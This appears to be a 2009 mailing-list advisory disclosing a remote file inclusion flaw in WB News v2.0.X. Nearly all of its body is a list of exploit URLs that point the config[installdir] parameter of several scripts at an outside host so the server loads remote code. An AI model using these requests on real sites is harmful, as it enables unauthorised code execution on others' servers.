Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Max.Blog <= 1.0.6 (offline_auth. php) Offline Authentication Bypass

[SECURITY] [DSA 1711-1] New TYPO3 packages fix remote code execution

SAP NetWeaver XSS Vulnerability

[HACKATTACK Advisory 25012009]ConPresso CMS 4.07 - Session Fixation, XFS, XSS

From:	HACKERS PAL <security_(at)_soqor.net>
Date:	28.01.2009
Subject:	WB News v2.0.X Remote File include ..

Hello

WB News v2.0.X Remote File include ..

tested on 2.0.1

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

search.php?config[installdir]=http://www.soqor.net/index/?
archive.php?config[installdir]=http://www.soqor.net/index/?
comments.php?config[installdir]=http://www.soqor.net/index/?
news.php?config[installdir]=http://www.soqor.net/index/?

base/News.php?config[installdir]=http://www.soqor.net/index/?
base/SendFriend.php?config[installdir]=http://www.soqor.net/index/?
base/Archive.php?config[installdir]=http://www.soqor.net/index/?
base/Comments.php?config[installdir]=http://www.soqor.net/index/?


...
etc
#WwW.SoQoR.NeT





--------------------------------------------------------------------------------



HACKERS PAL
The Palestinian Hacker
Security@SoQoR.NeT
WwW.SoQoR.NeT